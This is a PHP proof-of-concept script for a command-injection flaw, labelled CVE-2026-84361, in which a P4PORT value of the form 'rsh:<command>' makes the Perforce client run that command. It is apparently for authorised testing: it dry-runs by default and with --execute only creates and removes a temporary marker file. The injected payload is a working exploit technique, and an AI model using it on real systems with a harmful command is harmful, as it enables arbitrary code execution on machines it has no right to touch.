<?php
/**
 * CVE-2026-84361 authorized-test PoC.
 *
 * Demonstrates the dangerous P4PORT value passed by vulnerable Composer
 * versions to the Perforce client. The payload only creates a marker below
 * the system temporary directory.
 */

declare(strict_types=1);

$arguments = array_slice($argv, 1);
$execute = in_array('--execute', $arguments, true);
$keepMarker = in_array('--keep-marker', $arguments, true);

if (array_diff($arguments, ['--execute', '--keep-marker'])) {
    fwrite(STDERR, "Usage: php poc.php [--execute] [--keep-marker]\n");
    exit(2);
}

$marker = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'cve-2026-84361-' . bin2hex(random_bytes(8)) . '-p4port-rsh-executed';
$payload = 'rsh:touch ' . $marker;
$command = ['p4', '-p', $payload, 'info', '-s'];

echo "[*] CVE-2026-84361 Perforce P4PORT PoC\n";
echo "[*] Controlled P4PORT: {$payload}\n";
echo "[*] Planned invocation: " . implode(' ', array_map('escapeshellarg', $command)) . "\n";

if (!$execute) {
    echo "[*] Dry-run only. Add --execute in an authorized isolated environment.\n";
    exit(0);
}

$p4 = trim((string) shell_exec('command -v p4'));
if ($p4 === '') {
    fwrite(STDERR, "[-] p4 was not found on PATH; no command was executed.\n");
    exit(1);
}

echo "[*] Using p4: {$p4}\n";
echo "[*] Invoking p4 with the controlled P4PORT...\n";

$descriptors = [
    0 => ['pipe', 'r'],
    1 => ['pipe', 'w'],
    2 => ['pipe', 'w'],
];
$process = proc_open($command, $descriptors, $pipes);
if (!is_resource($process)) {
    fwrite(STDERR, "[-] Could not start p4.\n");
    exit(1);
}

fclose($pipes[0]);
$stdout = stream_get_contents($pipes[1]);
$stderr = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
$status = proc_close($process);

if ($stdout !== '') {
    echo "[*] p4 stdout:\n{$stdout}";
}
if ($stderr !== '') {
    echo "[*] p4 stderr (an error is expected because the marker command is not a Perforce server):\n{$stderr}";
}

if (!file_exists($marker)) {
    fwrite(STDERR, "[-] Marker was not created (p4 exit status: {$status}).\n");
    exit(1);
}

echo "[+] VULNERABLE: p4 executed the P4PORT rsh: command.\n";
echo "[+] Marker: {$marker}\n";

if (!$keepMarker) {
    unlink($marker);
    echo "[*] Marker removed.\n";
}